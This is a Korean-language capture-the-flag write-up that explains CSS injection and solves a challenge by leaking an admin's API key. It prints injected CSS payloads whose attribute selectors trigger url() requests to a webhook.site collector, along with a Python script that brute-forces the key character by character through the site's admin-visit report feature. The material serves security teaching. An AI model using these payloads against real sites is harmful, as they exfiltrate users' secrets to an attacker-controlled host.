개념정리
○ CSS Injection
공격자가 웹 페이지의 스타일시트에 악의적인 CSS 코드를 삽입하여 웹 페이지의 모양이나 동작을 변조하는 공격이다.
XSS는 script를 삽입해서 공격하는 방식이다. 이와 비슷한 방식으로 style sheet의 CSS를 삽입해서 공격하는 방식이 CSS Injection이다.
예를 들어서 생각해보자.
웹 페이지 사용자가 웹 사이트의 background 색깔을 지정할 수 있는 서비스가 있다고 하자.
<style>
body{
background-color: {{ color }};
}
</style>
해당 서비스의 style 태그는 위와 같이 구성될 것이다.
color라는 사용자의 입력값을 받고 동적으로 CSS 코드를 생성한다.
만약, 이 과정에서 color에 대한 검증이 없다면 어떤 일이 발생할까?
black; } input[type=text] { width: ; height: ;
공격자가 color로 위와 같은 데이터를 입력했다고 하자.
<style>
body{
background-color: black;
}
input[type=text] {
width: ;
height: ;
}
</style>
css는 위와 같이 완성될 것이다.
기본적으로 CSS는 태그 별로 {}
를 구분자로 사용해서 style을 지정할 수 있다. color에 대한 검증이 없다면 구분자를 적절히 활용하여 개발자가 의도하지 않은 CSS를 삽입할 수 있다.
그렇다면 공격자는 CSS를 어떻게 활용해서 클라이언트의 정보를 탈취할 수 있을까?
대표적으로 CSS에서 제공하는 url 함수를 사용하는 방법이 있다.
<style>
body{
background-color: black;
}
.myimg{
background-image:url(https://example.com/img/flower.png);
}
</style>
위 코드는 url 함수를 사용하는 예제다.
url 함수를 이용해서 flower.png를 가져와 myimg 클래스 태그에 로드하는 코드다.
즉, url 함수는 외부 자원을 요청하는 기능을 수행한다.
그렇다면, 공격자는 이를 이용하여 C2 서버로 요청을 전송할 수 있다.
<style>
body{
background-color: black;
}
input[value^=secret_msg]{
background-image:url(https://[c2]/?secret_msg);
}
</style>
예를 들어보자.
공격자가 클라이언트의 input 태그에 저장된 메세지를 탈취하고 싶다고 하자.
위 CSS 코드는 input 태그의 value가 secret_msg라면 공격자의 C2 서버로 요청을 전송하는 코드다.
이런식으로 공격자는 CSS 코드의 URL 함수를 이용해서 C2 서버로 클라이언트의 정보를 탈취할 수 있다.
요약하면, CSS를 이용한 XSS라고 생각하면된다.
문제풀이
# Add FLAG
execute(
'INSERT INTO memo (uid, text)'
'VALUES (:uid, :text);',
{
'uid': adminUid[0][0],
'text': 'FLAG is ' + FLAG
}
)
flag는 admin이 작성한 메모에 기록됐다.
admin 메모에 기록된 내용을 획득하는 것이 문제의 목표다. 하지만 admin의 메모를 읽으려면 admin 계정의 API-KEY가 필요하다.
다음 코드를 분석해보자.
@app.route('/report', methods=['GET', 'POST'])
def report():
if request.method == 'POST':
path = request.form.get('path')
if not path:
flash('fail.')
return redirect(url_for('report'))
if path and path[0] == '/':
path = path[1:]
url = f'http://localhost:80/{path}'
if check_url(url):
flash('success.')
else:
flash('fail.')
return redirect(url_for('report'))
elif request.method == 'GET':
return render_template('report.html')
/report
를 제출하면 전달한 path를 검증하고 admin이 전달한 path로 접속한다.
def check_url(url):
try:
options = webdriver.ChromeOptions()
for _ in ['headless', 'window-size=1920x1080', 'disable-gpu', 'no-sandbox', 'disable-dev-shm-usage']:
options.add_argument(_)
driver = webdriver.Chrome('./chromedriver', options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver_promise = Promise(driver.get('http://localhost:80/login'))
driver_promise.then(driver.find_element_by_name("username").send_keys(str(ADMIN_USERNAME)))
driver_promise.then(driver.find_element_by_name("password").send_keys(ADMIN_PASSWORD.decode()))
driver_promise = Promise(driver.find_element_by_id("submit").click())
driver_promise.then(driver.get(url))
except Exception as e:
driver.quit()
return False
finally:
driver.quit()
return True
공격 대상인 admin이 로그인하고 path에 접속하는 코드다.
@app.context_processor
def background_color():
color = request.args.get('color', 'white')
return dict(color=color)
context_processor
로 지정된 코드를 보면, 배경 색깔을 color 파라미터로 지정한다.
<style>
body{
background-color: {{ color }};
}
</style>
전달한 color 파라미터는 위와 같은 CSS 코드인 사용되어 background-color
로 적용된다.
예를 들면, 위와 같이 black을 전달하면 배경색이 검정색으로 바뀐다.
def apikey_required(view):
@wraps(view)
def wrapped_view(**kwargs):
apikey = request.headers.get('API-KEY', None)
token = execute('SELECT * FROM users WHERE token = :token;', {'token': apikey})
if token:
request.uid = token[0][0]
return view(**kwargs)
return {'code': 401, 'message': 'Access Denined !'}
return wrapped_view
...
@app.route('/api/memo')
@apikey_required
def APImemo():
memos = execute('SELECT * FROM memo WHERE uid = :uid;', {'uid': request.uid})
if memos:
memo = []
for tmp in memos:
memo.append({'idx': tmp[0], 'memo': tmp[2]})
return {'code': 200, 'memo': memo}
return {'code': 500, 'message': 'Error !'}
/api/memo
를 이용하면 uid로 지정한 사용자의 메모를 확인할 수 있다.
단, apikey_required()
가 먼저 실행되는데, API-KEY를 통해서 실사용자가 맞는지 검증을 수행한다.
API-KEY는 /mypage
에서 확인할 수 있다.
목표는 admin의 API-KEY를 탈취하는 것이다.
/report
기능이 존재하고 이전에 봤던 color 파라미터를 이용해서 CSS injection이 가능하다.
이를 이용해서 admin을 대상으로 CSS injection을 시도하여 API-KEY를 탈취하면된다.
<style>
body{
background-color: {{ color }};
}
</style>
CSS 코드를 보자.
color 파라미터를 지정해서 background-color가 생성된다.
이때, color에 대한 검증이 없으므로 <style>
태그의 내용을 조작할 수 있다.
<style>
body{
background-color: black;
}
</style>
정상적으로 색깔만 지정했다면 위와 같을 것이다.
black;}input[value^=123]{background:url(https://webhook.site/28171f88-81f0-4864-9dca-1c54ddb49ad5?123);
만약, black 대신에 위와 같은 payload를 전송했다고 하자.
<style>
body{
background-color: black;
}
input[value^=123]{
background:url(https://webhook.site/28171f88-81f0-4864-9dca-1c54ddb49ad5?123);
}
</style>
위와 같이 css가 완성될 것이다.
즉, css injection을 통해 CSS를 조작할 수 있다.
개념정리에서 언급한 것처럼 CSS에는 url()
함수를 제공한다. 해당 함수를 이용해서 공격자의 C2 서버로 요청을 전송할 수 있다.
API-KEY가 조건의 문자열과 일치하면 API-KEY를 C2 서버로 전송하도록 payload를 작성할 수 있다.
exploit
from requests import *
token = 'uevizsyifbotxdqs'
print(len(token))
if len(token) == 16:
url = 'http://host3.dreamhack.games:21465/api/memo?uid=admin'
headers = {'API-KEY' : token}
response = get(url = url, headers = headers)
print(response.text)
else:
url = 'http://host3.dreamhack.games:21465/report'
for i in range(97, 123):
path = '/mypage?color=white;}input[value^=' + token + chr(i) + ']{background:url(https://webhook.site/28171f88-81f0-4864-9dca-1c54ddb49ad5?' + token + chr(i) + ');'
data = {'path' : path}
response = post(url = url, data = data)
공격자의 C2 서버로 admin의 API-KEY를 전송하는 코드다.
공격자가 /mypage
로 접속한 후 악성 CSS를 통해 /mypage
에 기록된 API-KEY를 C2 서버로 전송하도록 작성했다.
완전 자동화를 하려면 C2 서버에서도 response를 받고 처리하는 코드를 제작해야한다. 하지만 필자는 귀찮아서 1자리씩 노가다 방식으로 획득했다.
API-KEY를 획득한 결과다.
API-KEY를 이용해서 /api/memo
를 요청하면 flag를 획득할 수 있다.